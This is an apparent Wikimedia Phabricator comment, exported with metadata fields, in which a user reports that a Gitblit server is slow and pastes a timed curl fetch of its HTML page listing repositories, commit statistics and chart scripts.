<script type=""text/javascript"" ><!--/*--><![CDATA[/*><!--*/
<!-- AngularJS projectsCtrl data controller -->
function projectsCtrl($scope) {
	$scope.projectsList = [{""p"":""mediawiki"",""n"":""mediawiki"",""t"":""18 mins ago"",""d"":""2013-07-22"",""i"":"""",""c"":626},{""p"":""labs"",""n"":""labs"",""t"":""5 hours ago"",""d"":""2013-07-21"",""i"":"""",""c"":9},{""p"":""operations"",""n"":""operations"",""t"":""8 hours ago"",""d"":""2013-07-21"",""i"":"""",""c"":72},{""p"":""main"",""n"":""Main Repositories"",""t"":""15 hours ago"",""d"":""2013-07-21"",""i"":""main group of repositories"",""c"":19},{""p"":""pywikibot"",""n"":""pywikibot"",""t"":""21 hours ago"",""d"":""2013-07-21"",""i"":"""",""c"":4},{""p"":""analytics"",""n"":""analytics"",""t"":""2 days ago"",""d"":""2013-07-20"",""i"":"""",""c"":39},{""p"":""wikimedia"",""n"":""wikimedia"",""t"":""3 days ago"",""d"":""2013-07-19"",""i"":"""",""c"":24},{""p"":""integration"",""n"":""integration"",""t"":""3 days ago"",""d"":""2013-07-19"",""i"":"""",""c"":11},{""p"":""qa"",""n"":""qa"",""t"":""3 days ago"",""d"":""2013-07-19"",""i"":"""",""c"":1},{""p"":""apps"",""n"":""apps"",""t"":""4 days ago"",""d"":""2013-07-18"",""i"":"""",""c"":4},{""p"":""wiktionary"",""n"":""wiktionary"",""t"":""4 weeks ago"",""d"":""2013-06-21"",""i"":"""",""c"":1},{""p"":""test"",""n"":""test"",""t"":""8 weeks ago"",""d"":""2013-05-25"",""i"":"""",""c"":2},{""p"":""officeit"",""n"":""officeit"",""t"":""4 months ago"",""d"":""2013-04-08"",""i"":"""",""c"":1},{""p"":""VisualEditor"",""n"":""VisualEditor"",""t"":""6 months ago"",""d"":""2013-01-29"",""i"":"""",""c"":1},{""p"":""glam"",""n"":""glam"",""t"":""10 months ago"",""d"":""2012-10-11"",""i"":"""",""c"":1}];
}

/*-->]]>*/</script>

<script type=""text/javascript"" ><!--/*--><![CDATA[/*><!--*/
<!-- AngularJS activeCtrl data controller -->
function activeCtrl($scope) {
	$scope.activeList = [{""r"":""mediawiki/extensions.git"",""n"":""extensions"",""p"":""mediawiki/"",""t"":""18 mins ago"",""d"":""2013-07-22"",""i"":"""",""s"":0,""c"":""#7110a6"",""wc"":0},{""r"":""mediawiki/core.git"",""n"":""core"",""p"":""mediawiki/"",""t"":""2 hours ago"",""d"":""2013-07-22"",""i"":"""",""s"":0,""c"":""#3810a6"",""wc"":0},{""r"":""mediawiki/extensions/TranslationNotifications.git"",""n"":""TranslationNotifications"",""p"":""mediawiki/extensions/"",""t"":""2 hours ago"",""d"":""2013-07-22"",""i"":"""",""s"":0,""c"":""#1068a6"",""wc"":0},{""r"":""mediawiki/extensions/LaTeXML.git"",""n"":""LaTeXML"",""p"":""mediawiki/extensions/"",""t"":""5 hours ago"",""d"":""2013-07-22"",""i"":"""",""s"":0,""c"":""#a67b10"",""wc"":0},{""r"":""labs/tools/lolrrit.git"",""n"":""lolrrit"",""p"":""labs/tools/"",""t"":""5 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a6102e"",""wc"":0},{""r"":""mediawiki/extensions/PollNY.git"",""n"":""PollNY"",""p"":""mediawiki/extensions/"",""t"":""7 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61029"",""wc"":0},{""r"":""operations/puppet.git"",""n"":""puppet"",""p"":""operations/"",""t"":""8 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#106ca6"",""wc"":0},{""r"":""mediawiki/extensions/Wikibase.git"",""n"":""Wikibase"",""p"":""mediawiki/extensions/"",""t"":""9 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a310a6"",""wc"":0},{""r"":""mediawiki/extensions/EventLogging.git"",""n"":""EventLogging"",""p"":""mediawiki/extensions/"",""t"":""9 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a631"",""wc"":0},{""r"":""mediawiki/extensions/WikimediaMessages.git"",""n"":""WikimediaMessages"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a64510"",""wc"":0},{""r"":""mediawiki/extensions/Wikilog.git"",""n"":""Wikilog"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a6106c"",""wc"":0},{""r"":""mediawiki/extensions/WikiLexicalData.git"",""n"":""WikiLexicalData"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#101da6"",""wc"":0},{""r"":""mediawiki/extensions/WikiForum.git"",""n"":""WikiForum"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a618"",""wc"":0},{""r"":""mediawiki/extensions/WikiEditor.git"",""n"":""WikiEditor"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#8310a6"",""wc"":0},{""r"":""mediawiki/extensions/VisualEditor.git"",""n"":""VisualEditor"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#1aa610"",""wc"":0},{""r"":""mediawiki/extensions/Validator.git"",""n"":""Validator"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#109ca6"",""wc"":0},{""r"":""mediawiki/extensions/UserMerge.git"",""n"":""UserMerge"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#2ea610"",""wc"":0},{""r"":""mediawiki/extensions/UploadWizard.git"",""n"":""UploadWizard"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#3110a6"",""wc"":0},{""r"":""mediawiki/extensions/UniversalLanguageSelector.git"",""n"":""UniversalLanguageSelector"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#6510a6"",""wc"":0},{""r"":""mediawiki/extensions/TwnMainPage.git"",""n"":""TwnMainPage"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#8d10a6"",""wc"":0},{""r"":""mediawiki/extensions/Translate.git"",""n"":""Translate"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#1099a6"",""wc"":0},{""r"":""mediawiki/extensions/Sudo.git"",""n"":""Sudo"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61060"",""wc"":0},{""r"":""mediawiki/extensions/SemanticMediaWiki.git"",""n"":""SemanticMediaWiki"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a627"",""wc"":0},{""r"":""mediawiki/extensions/SemanticForms.git"",""n"":""SemanticForms"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61013"",""wc"":0},{""r"":""mediawiki/extensions/SemanticDrilldown.git"",""n"":""SemanticDrilldown"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61074"",""wc"":0},{""r"":""mediawiki/extensions/SecurePoll.git"",""n"":""SecurePoll"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61079"",""wc"":0},{""r"":""mediawiki/extensions/RevisionCommentSupplement.git"",""n"":""RevisionCommentSupplement"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#102ca6"",""wc"":0},{""r"":""mediawiki/extensions/Renameuser.git"",""n"":""Renameuser"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a6a3"",""wc"":0},{""r"":""mediawiki/extensions/ProofreadPage.git"",""n"":""ProofreadPage"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#3110a6"",""wc"":0},{""r"":""mediawiki/extensions/Premoderation.git"",""n"":""Premoderation"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#7ea610"",""wc"":0},{""r"":""mediawiki/extensions/Phalanx.git"",""n"":""Phalanx"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#7610a6"",""wc"":0},{""r"":""mediawiki/extensions/PageSchemas.git"",""n"":""PageSchemas"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a64510"",""wc"":0},{""r"":""mediawiki/extensions/OpenStackManager.git"",""n"":""OpenStackManager"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a62c"",""wc"":0},{""r"":""mediawiki/extensions/OAuth.git"",""n"":""OAuth"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a636"",""wc"":0},{""r"":""mediawiki/extensions/Nuke.git"",""n"":""Nuke"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#1056a6"",""wc"":0},{""r"":""mediawiki/extensions/NewUserMessage.git"",""n"":""NewUserMessage"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#1051a6"",""wc"":0},{""r"":""mediawiki/extensions/MoodBar.git"",""n"":""MoodBar"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a64210"",""wc"":0},{""r"":""mediawiki/extensions/MobileFrontend.git"",""n"":""MobileFrontend"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#4ca610"",""wc"":0},{""r"":""mediawiki/extensions/MathSearch.git"",""n"":""MathSearch"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a63110"",""wc"":0},{""r"":""mediawiki/extensions/Math.git"",""n"":""Math"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#97a610"",""wc"":0},{""r"":""mediawiki/extensions/MassMessage.git"",""n"":""MassMessage"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#36a610"",""wc"":0},{""r"":""mediawiki/extensions/MassEditRegex.git"",""n"":""MassEditRegex"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61083"",""wc"":0},{""r"":""mediawiki/extensions/Maintenance.git"",""n"":""Maintenance"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#9910a6"",""wc"":0},{""r"":""mediawiki/extensions/LiquidThreads.git"",""n"":""LiquidThreads"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a68810"",""wc"":0},{""r"":""mediawiki/extensions/LinkFilter.git"",""n"":""LinkFilter"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#1038a6"",""wc"":0},{""r"":""mediawiki/extensions/LastModified.git"",""n"":""LastModified"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#63a610"",""wc"":0},{""r"":""mediawiki/extensions/InviteSignup.git"",""n"":""InviteSignup"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a67b10"",""wc"":0},{""r"":""mediawiki/extensions/Interwiki.git"",""n"":""Interwiki"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61033"",""wc"":0},{""r"":""mediawiki/extensions/ImageMap.git"",""n"":""ImageMap"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a654"",""wc"":0},{""r"":""mediawiki/extensions/GoogleMaps.git"",""n"":""GoogleMaps"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#83a610"",""wc"":0},{""r"":""mediawiki/extensions/GlobalBlocking.git"",""n"":""GlobalBlocking"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#7610a6"",""wc"":0},{""r"":""mediawiki/extensions/GettingStarted.git"",""n"":""GettingStarted"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#4510a6"",""wc"":0},{""r"":""mediawiki/extensions/FlaggedRevs.git"",""n"":""FlaggedRevs"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#9710a6"",""wc"":0},{""r"":""mediawiki/extensions/ExpandTemplates.git"",""n"":""ExpandTemplates"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61042"",""wc"":0},{""r"":""mediawiki/extensions/EducationProgram.git"",""n"":""EducationProgram"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#65a610"",""wc"":0},{""r"":""mediawiki/extensions/Editcount.git"",""n"":""Editcount"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#1036a6"",""wc"":0},{""r"":""mediawiki/extensions/Echo.git"",""n"":""Echo"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a64f10"",""wc"":0},{""r"":""mediawiki/extensions/DiscussionThreading.git"",""n"":""DiscussionThreading"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a68d10"",""wc"":0},{""r"":""mediawiki/extensions/Disambiguator.git"",""n"":""Disambiguator"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a63b10"",""wc"":0},{""r"":""mediawiki/extensions/DeleteBatch.git"",""n"":""DeleteBatch"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#104fa6"",""wc"":0},{""r"":""mediawiki/extensions/DataValues.git"",""n"":""DataValues"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a64f10"",""wc"":0},{""r"":""mediawiki/extensions/DataTransfer.git"",""n"":""DataTransfer"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61018"",""wc"":0},{""r"":""mediawiki/extensions/ConfirmEdit.git"",""n"":""ConfirmEdit"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a6108d"",""wc"":0},{""r"":""mediawiki/extensions/ConfirmAccount.git"",""n"":""ConfirmAccount"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#7ba610"",""wc"":0},{""r"":""mediawiki/extensions/Configure.git"",""n"":""Configure"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#36a610"",""wc"":0},{""r"":""mediawiki/extensions/Comments.git"",""n"":""Comments"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#8f10a6"",""wc"":0},{""r"":""mediawiki/extensions/Commentbox.git"",""n"":""Commentbox"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a62910"",""wc"":0},{""r"":""mediawiki/extensions/Collection.git"",""n"":""Collection"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a66a10"",""wc"":0},{""r"":""mediawiki/extensions/CheckUser.git"",""n"":""CheckUser"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a61045"",""wc"":0},{""r"":""mediawiki/extensions/CentralNotice.git"",""n"":""CentralNotice"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a68d"",""wc"":0},{""r"":""mediawiki/extensions/CentralAuth.git"",""n"":""CentralAuth"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a65e10"",""wc"":0},{""r"":""mediawiki/extensions/Campaigns.git"",""n"":""Campaigns"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#13a610"",""wc"":0},{""r"":""mediawiki/extensions/BookManagerv2.git"",""n"":""BookManagerv2"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#56a610"",""wc"":0},{""r"":""mediawiki/extensions/Babel.git"",""n"":""Babel"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#1085a6"",""wc"":0},{""r"":""mediawiki/extensions/ArticleFeedbackv5.git"",""n"":""ArticleFeedbackv5"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a65110"",""wc"":0},{""r"":""mediawiki/extensions/Ads.git"",""n"":""Ads"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a3a6"",""wc"":0},{""r"":""mediawiki/extensions/AbuseFilter.git"",""n"":""AbuseFilter"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#4aa610"",""wc"":0},{""r"":""mediawiki/extensions/APC.git"",""n"":""APC"",""p"":""mediawiki/extensions/"",""t"":""10 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#6c10a6"",""wc"":0},{""r"":""openzim.git"",""n"":""openzim"",""p"":"""",""t"":""15 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a66310"",""wc"":0},{""r"":""mediawiki/extensions/WikibaseDataModel.git"",""n"":""WikibaseDataModel"",""p"":""mediawiki/extensions/"",""t"":""15 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#6510a6"",""wc"":0},{""r"":""mediawiki/extensions/WikibaseQueryEngine.git"",""n"":""WikibaseQueryEngine"",""p"":""mediawiki/extensions/"",""t"":""16 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a68f10"",""wc"":0},{""r"":""mediawiki/extensions/UpdateMediaWiki.git"",""n"":""UpdateMediaWiki"",""p"":""mediawiki/extensions/"",""t"":""16 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#2910a6"",""wc"":0},{""r"":""mediawiki/extensions/Serialization.git"",""n"":""Serialization"",""p"":""mediawiki/extensions/"",""t"":""16 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#1045a6"",""wc"":0},{""r"":""mediawiki/extensions/WikibaseDatabase.git"",""n"":""WikibaseDatabase"",""p"":""mediawiki/extensions/"",""t"":""16 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a627"",""wc"":0},{""r"":""mediawiki/extensions/Diff.git"",""n"":""Diff"",""p"":""mediawiki/extensions/"",""t"":""17 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#a66a10"",""wc"":0},{""r"":""mediawiki/extensions/Ask.git"",""n"":""Ask"",""p"":""mediawiki/extensions/"",""t"":""17 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#10a67b"",""wc"":0},{""r"":""pywikibot/core.git"",""n"":""core"",""p"":""pywikibot/"",""t"":""21 hours ago"",""d"":""2013-07-21"",""i"":"""",""s"":0,""c"":""#22a610"",""wc"":0}];
}

/*-->]]>*/</script>

</head>

	<body>

		<!-- page content -->
		[a metric fuckton of HTML]

		<!-- Override Bootstrap's responsive menu background highlighting -->
		<style>
		@media (max-width: 979px) {
			.nav-collapse .nav > li > a:hover, .nav-collapse .dropdown-menu a:hover {
				background-color: #002060;
			}
			
			.navbar div > ul .dropdown-menu li a {
				color: #ccc;
			}
		}
		</style>
		
		<!-- Include scripts at end for faster page loading -->
		<script type=""text/javascript"" src=""bootstrap/js/jquery.js""></script>
		<script type=""text/javascript"" src=""bootstrap/js/bootstrap.js""></script>		
	</body>
</html>
real	10m1.110s
user	0m0.018s
sys	0m0.028s",,,1374468963,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.043478260869565216,0.0,0.043478260869565216,1.0869565217391304,0.0,0.0,0.0,0.0,0.0,2.739130434782609,0.0,0.0,0.0,0.08695652173913043,0.13043478260869565,0.391304347826087,0.30434782608695654,0.0,0.08695652173913043,0.0,0.0,0.0,0.08695652173913043,0.0,0.0,0.0,0.0,0.0,0.0,0.21739130434782608,0.0,0.043478260869565216,0.0,0.0,0.043478260869565216,0.0,0.0,0.0,0.0,0.0,0.043478260869565216,4.217391304347826,0.0,0.0,0.0,0.0,0.0,10.956521739130435,0.0,0.0,0.0,0.08695652173913043,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.043478260869565216,0.0,0.0,0.0,0.0,0.0,0.2608695652173913,0.043478260869565216,5.782608695652174,0.043478260869565216,0.0,0.30434782608695654,0.0,0.0,0.5217391304347826,0.34782608695652173,0.30434782608695654,0.0,16.608695652173914,0.0,0.17391304347826086,0.30434782608695654,14.043478260869565,0.0,4.173913043478261,0.0,0.17391304347826086,0.0,0.043478260869565216,0.21739130434782608,0.0,0.043478260869565216,0.043478260869565216,0.0,3.391304347826087,8.767954612675108,0.35344572611653363,"For the record, it doesn't seem to be completely down, just really slow to respond. When I tried again, I got:

$ time curl URL
<!DOCTYPE html PUBLIC ""-//W3C//DTD XHTML 1.0 Strict//EN"" ""URL
<html xmlns=""URL xml:lang=""en"" lang=""en"" ng-app=""""> 

	<!-- Head -->
	<head>
		<meta name=""viewport"" content=""width=device-width, initial-scale=1.0"">
		<meta http-equiv=""X-UA-Compatible"" content=""IE=Edge"" />
   		<title>Wikimedia</title>
		<link rel=""icon"" href=""gitblt-favicon.png"" type=""image/png""/>
		
		<link rel=""stylesheet"" href=""bootstrap/css/bootstrap.css""/>
		<link rel=""stylesheet"" href=""bootstrap/css/iconic.css""/>
		<link rel=""stylesheet"" type=""text/css"" href=""gitblit.css""/>
	<link rel=""stylesheet"" type=""text/css"" href=""bootstrap/css/bootstrap-responsive.css"" />
<style type=""text/css"">
.navbar-inner {
background-color: #FBFBFB;
border-bottom: 1px solid #39688E !important;
}
.navbar ul li:focus, .navbar .active {
border-bottom: 4px solid #9C000F;
}
.navbar ul.nav li a {
color: #002060;
}
.navbar ul.nav .active a {
color: #002060;
}
.navbar ul.nav li a:hover {
color: #002060 !important;
}
</style>
<script type=""text/javascript"" src=""URL
<script type=""text/javascript"" ><!--/*--><![CDATA[/*><!--*/
google.load(""visualization"", ""1"", {packages:[""corechart""]});
google.setOnLoadCallback(drawChart);
function drawChart() {
var data_ffa5c540 = new google.visualization.DataTable();
data_ffa5c540.addColumn('string', 'repository');
data_ffa5c540.addColumn('number', 'commits');
data_ffa5c540.addRows(85);
data_ffa5c540.setValue(0, 0, 'mediawiki/core');
data_ffa5c540.setValue(0, 1, 2.0);
data_ffa5c540.setValue(1, 0, 'mediawiki/extensions');
data_ffa5c540.setValue(1, 1, 2.0);
data_ffa5c540.setValue(2, 0, 'mediawiki/extensions/TranslationNotifications');
data_ffa5c540.setValue(2, 1, 2.0);
data_ffa5c540.setValue(3, 0, 'mediawiki/extensions/PollNY');
data_ffa5c540.setValue(3, 1, 1.0);
data_ffa5c540.setValue(4, 0, 'mediawiki/extensions/Nuke');
data_ffa5c540.setValue(4, 1, 1.0);
data_ffa5c540.setValue(5, 0, 'mediawiki/extensions/LastModified');
data_ffa5c540.setValue(5, 1, 1.0);
data_ffa5c540.setValue(6, 0, 'mediawiki/extensions/MoodBar');
data_ffa5c540.setValue(6, 1, 1.0);
data_ffa5c540.setValue(7, 0, 'mediawiki/extensions/Validator');
data_ffa5c540.setValue(7, 1, 1.0);
data_ffa5c540.setValue(8, 0, 'mediawiki/extensions/Phalanx');
data_ffa5c540.setValue(8, 1, 1.0);
data_ffa5c540.setValue(9, 0, 'mediawiki/extensions/MassEditRegex');
data_ffa5c540.setValue(9, 1, 1.0);
var chart_ffa5c540 = new google.visualization.PieChart(document.getElementById('chartRepositories'));
chart_ffa5c540.draw(data_ffa5c540, { title: 'active repositories', colors:['#3810a6','#7110a6','#1068a6','#a61029','#1056a6','#63a610','#a64210','#109ca6','#7610a6','#a61083',], legend: { position:'none' } });

var data_39b7080b = new google.visualization.DataTable();
data_39b7080b.addColumn('string', 'author');
data_39b7080b.addColumn('number', 'commits');
data_39b7080b.addRows(17);
data_39b7080b.setValue(0, 0, 'jeroendedauw');
data_39b7080b.setValue(0, 1, 28.0);
data_39b7080b.setValue(1, 0, 'Ori Livneh');
data_39b7080b.setValue(1, 1, 12.0);
data_39b7080b.setValue(2, 0, 'Kunal Mehta');
data_39b7080b.setValue(2, 1, 6.0);
data_39b7080b.setValue(3, 0, 'Yuki Shira');
data_39b7080b.setValue(3, 1, 4.0);
data_39b7080b.setValue(4, 0, 'legoktm');
data_39b7080b.setValue(4, 1, 3.0);
data_39b7080b.setValue(5, 0, 'Hoo man');
data_39b7080b.setValue(5, 1, 2.0);
data_39b7080b.setValue(6, 0, 'Santhosh Thottingal');
data_39b7080b.setValue(6, 1, 2.0);
data_39b7080b.setValue(7, 0, 'Jeroen De Dauw');
data_39b7080b.setValue(7, 1, 2.0);
data_39b7080b.setValue(8, 0, 'Kip');
data_39b7080b.setValue(8, 1, 2.0);
data_39b7080b.setValue(9, 0, 'Marius Hoch');
data_39b7080b.setValue(9, 1, 2.0);
var chart_39b7080b = new google.visualization.PieChart(document.getElementById('chartAuthors'));
chart_39b7080b.draw(data_39b7080b, { title: 'active authors', colors:['#a6106c','#71a610','#a1a610','#a61040','#a68010','#a68010','#a67410','#1022a6','#104ca6','#1080a6',], legend: { position:'none' } });

}

/*-->]]>*/</script>

<script type=""text/javascript"" src=""resources/com.gitblit.wicket.ng.NgController/angular.js""></script>
<script type=""text/javascript"" ><!--/*--><![CDATA[/*><!--*/
<!-- AngularJS projectsCtrl data controller -->
function projectsCtrl($scope) {
	$scope.projectsList = [{""p"":""mediawiki"",""n"":""mediawiki"",""t"":""18 mins ago"",""d"":""2013-07-22"",""i"":"""",""c"":626},{""p"":""labs"",""n"":""labs"",""t"":""5 hours ago"",""d"":""2013-07-21"",""i"":"""",""c"":9},{""p"":""operations"",""n"":""operations"",""t"":""8 hours ago"",""d"":""2013-07-21"",""i"":"""",""c"":72},{""p"":""main"",""n"":""Main Repositories"",""t"":""15 hours ago"",""d"":""2013-07-21"",""i"":""main group of repositories"",""c"":19},{""p"":""pywikibot"",""n"":""pywikibot"",""t"":""21 hours ago"",""d"":""2013-07-21"",""i"":"""",""c"":4},{""p"":""analytics"",""n"":""analytics"",""t"":""2 days ago"",""d"":""2013-07-20"",""i"":"""",""c"":39},{""p"":""wikimedia"",""n"":""wikimedia"",""t"":""3 days ago"",""d"":""2013-07-19"",""i"":"""",""c"":24},{""p"":""integration"",""n"":""integration"",""t"":""3 days ago"",""d"":""2013-07-19"",""i"":"""",""c"":11},{""p"":""qa"",""n"":""qa"",""t"":""3 days ago"",""d"":""2013-07-19"",""i"":"""",""c"":1},{""p"":""apps"",""n"":""apps"",""t"":""4 days ago"",""d"":""2013-07-18"",""i"":"""",""c"":4},{""p"":""wiktionary"",""n"":""wiktionary"",""t"":""4 weeks ago"",""d"":""2013-06-21"",""i"":"""",""c"":1},{""p"":""test"",""n"":""test"",""t"":""8 weeks ago"",""d"":""2013-05-25"",""i"":"""",""c"":2},{""p"":""officeit"",""n"":""officeit"",""t"":""4 months 